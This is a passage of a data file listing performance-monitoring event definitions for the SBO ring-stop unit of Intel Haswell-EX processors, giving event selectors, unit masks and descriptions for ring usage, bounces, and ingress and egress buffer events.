"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00001100",
},
"SBO.RING_AD_USED.DOWN_EVEN": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxx1xx",
},
"SBO.RING_AD_USED.UP_EVEN": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxxxx1",
},
"SBO.RING_AD_USED.UP": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AD Ring In Use",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00000011",
},
"SBO.RING_AK_USED": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
},
"SBO.RING_AK_USED.UP": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00000011",
},
"SBO.RING_AK_USED.UP_EVEN": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxxxx1",
},
"SBO.RING_AK_USED.DOWN": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00001100",
},
"SBO.RING_AK_USED.UP_ODD": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxxx1x",
},
"SBO.RING_AK_USED.DOWN_EVEN": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxx1xx",
},
"SBO.RING_AK_USED.DOWN_ODD": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "AK Ring In Use",
"EvSel": 28,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxx1xxx",
},
"SBO.RING_BL_USED": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
},
"SBO.RING_BL_USED.DOWN": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00001100",
},
"SBO.RING_BL_USED.DOWN_EVEN": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxx1xx",
},
"SBO.RING_BL_USED.UP_ODD": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxxx1x",
},
"SBO.RING_BL_USED.DOWN_ODD": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxx1xxx",
},
"SBO.RING_BL_USED.UP": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "b00000011",
},
"SBO.RING_BL_USED.UP_EVEN": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. We really have two rings in HSX -- a clockwise ring and a counter-clockwise ring. On the left side of the ring, the \"UP\" direction is on the clockwise ring and \"DN\" is on the counter-clockwise ring. On the right side of the ring, this is reversed. The first half of the CBos are on the left side of the ring, and the 2nd half are on the right side of the ring. In other words (for example), in a 4c part, Cbo 0 UP AD is NOT the same ring as CBo 2 UP AD because they are on opposite sides of the ring.",
"Desc": "BL Ring in Use",
"EvSel": 29,
"ExtSel": "",
"MaxIncCyc": 2,
"Notes": "In any cycle, a ring stop can see up to one packet moving in the UP direction and one packet moving in the DN direction.",
"Umask": "bxxxxxxx1",
},
"SBO.RING_BOUNCES": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Desc": "Number of LLC responses that bounced on the Ring.",
"EvSel": 5,
"ExtSel": "",
"MaxIncCyc": 2,
},
"SBO.RING_BOUNCES.AD_CACHE": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Desc": "Number of LLC responses that bounced on the Ring.",
"EvSel": 5,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxxxxx1",
},
"SBO.RING_BOUNCES.BL_CORE": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Desc": "Number of LLC responses that bounced on the Ring.",
"EvSel": 5,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxxx1xx",
},
"SBO.RING_BOUNCES.IV_CORE": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Desc": "Number of LLC responses that bounced on the Ring.",
"EvSel": 5,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxx1xxx",
},
"SBO.RING_BOUNCES.AK_CORE": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Desc": "Number of LLC responses that bounced on the Ring.",
"EvSel": 5,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxxxx1x",
},
"SBO.RING_IV_USED": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. There is only 1 IV ring in HSX. Therefore, if one wants to monitor the \"Even\" ring, they should select both UP_EVEN and DN_EVEN. To monitor the \"Odd\" ring, they should select both UP_ODD and DN_ODD.",
"Desc": "BL Ring in Use",
"EvSel": 30,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the UP direction and one (half-)packet moving in the DN direction.",
},
"SBO.RING_IV_USED.UP": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. There is only 1 IV ring in HSX. Therefore, if one wants to monitor the \"Even\" ring, they should select both UP_EVEN and DN_EVEN. To monitor the \"Odd\" ring, they should select both UP_ODD and DN_ODD.",
"Desc": "BL Ring in Use",
"EvSel": 30,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the UP direction and one (half-)packet moving in the DN direction.",
"Umask": "b00000011",
},
"SBO.RING_IV_USED.DN": {
"Box": "SBO",
"Category": "SBO RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop. There is only 1 IV ring in HSX. Therefore, if one wants to monitor the \"Even\" ring, they should select both UP_EVEN and DN_EVEN. To monitor the \"Odd\" ring, they should select both UP_ODD and DN_ODD.",
"Desc": "BL Ring in Use",
"EvSel": 30,
"ExtSel": "",
"Notes": "IV messages are split into two parts. In any cycle, a ring stop can see up to one (half-)packet moving in the UP direction and one (half-)packet moving in the DN direction.",
"Umask": "b00001100",
},
"SBO.RxR_BYPASS": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Bypass the Sbo Ingress.",
"Desc": "Bypass",
"EvSel": 18,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
},
"SBO.RxR_BYPASS.IV": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Bypass the Sbo Ingress.",
"Desc": "Bypass",
"EvSel": 18,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00100000",
},
"SBO.RxR_BYPASS.AD_BNC": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Bypass the Sbo Ingress.",
"Desc": "Bypass",
"EvSel": 18,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00000010",
},
"SBO.RxR_BYPASS.BL_CRD": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Bypass the Sbo Ingress.",
"Desc": "Bypass",
"EvSel": 18,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00000100",
},
"SBO.RxR_BYPASS.AD_CRD": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Bypass the Sbo Ingress.",
"Desc": "Bypass",
"EvSel": 18,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00000001",
},
"SBO.RxR_BYPASS.AK": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Bypass the Sbo Ingress.",
"Desc": "Bypass",
"EvSel": 18,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00010000",
},
"SBO.RxR_BYPASS.BL_BNC": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Bypass the Sbo Ingress.",
"Desc": "Bypass",
"EvSel": 18,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00001000",
},
"SBO.RxR_INSERTS": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Ingress The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
},
"SBO.RxR_INSERTS.IV": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Ingress The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"SBO.RxR_INSERTS.AD_BNC": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Ingress The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"SBO.RxR_INSERTS.BL_CRD": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Ingress The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"SBO.RxR_INSERTS.AK": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Ingress The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"SBO.RxR_INSERTS.BL_BNC": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Ingress The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"SBO.RxR_INSERTS.AD_CRD": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Ingress The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Allocations",
"EvSel": 19,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"SBO.RxR_OCCUPANCY": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Ingress buffers in the Sbo. The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Occupancy",
"EvSel": 17,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
},
"SBO.RxR_OCCUPANCY.AK": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Ingress buffers in the Sbo. The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Occupancy",
"EvSel": 17,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00010000",
},
"SBO.RxR_OCCUPANCY.AD_CRD": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Ingress buffers in the Sbo. The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Occupancy",
"EvSel": 17,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00000001",
},
"SBO.RxR_OCCUPANCY.BL_BNC": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Ingress buffers in the Sbo. The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Occupancy",
"EvSel": 17,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00001000",
},
"SBO.RxR_OCCUPANCY.BL_CRD": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Ingress buffers in the Sbo. The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Occupancy",
"EvSel": 17,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00000100",
},
"SBO.RxR_OCCUPANCY.AD_BNC": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Ingress buffers in the Sbo. The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Occupancy",
"EvSel": 17,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00000010",
},
"SBO.RxR_OCCUPANCY.IV": {
"Box": "SBO",
"Category": "SBO INGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Ingress buffers in the Sbo. The Ingress is used to queue up requests received from the ring.",
"Desc": "Ingress Occupancy",
"EvSel": 17,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00100000",
},
"SBO.TxR_ADS_USED": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"EvSel": 4,
"ExtSel": "",
},
"SBO.TxR_ADS_USED.AD": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"EvSel": 4,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"SBO.TxR_ADS_USED.BL": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"EvSel": 4,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"SBO.TxR_ADS_USED.AK": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"EvSel": 4,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"SBO.TxR_INSERTS": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
},
"SBO.TxR_INSERTS.AD_BNC": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"SBO.TxR_INSERTS.IV": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"SBO.TxR_INSERTS.BL_CRD": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"SBO.TxR_INSERTS.AK": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"SBO.TxR_INSERTS.AD_CRD": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"SBO.TxR_INSERTS.BL_BNC": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Number of allocations into the Sbo Egress. The Egress is used to queue up requests destined for the ring.",
"Desc": "Egress Allocations",
"EvSel": 2,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"SBO.TxR_OCCUPANCY": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Egress buffers in the Sbo. The egress is used to queue up requests destined for the ring.",
"Desc": "Egress Occupancy",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
},
"SBO.TxR_OCCUPANCY.BL_BNC": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Egress buffers in the Sbo. The egress is used to queue up requests destined for the ring.",
"Desc": "Egress Occupancy",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00001000",
},
"SBO.TxR_OCCUPANCY.AK": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Egress buffers in the Sbo. The egress is used to queue up requests destined for the ring.",
"Desc": "Egress Occupancy",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00010000",
},
"SBO.TxR_OCCUPANCY.AD_CRD": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Egress buffers in the Sbo. The egress is used to queue up requests destined for the ring.",
"Desc": "Egress Occupancy",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00000001",
},
"SBO.TxR_OCCUPANCY.IV": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
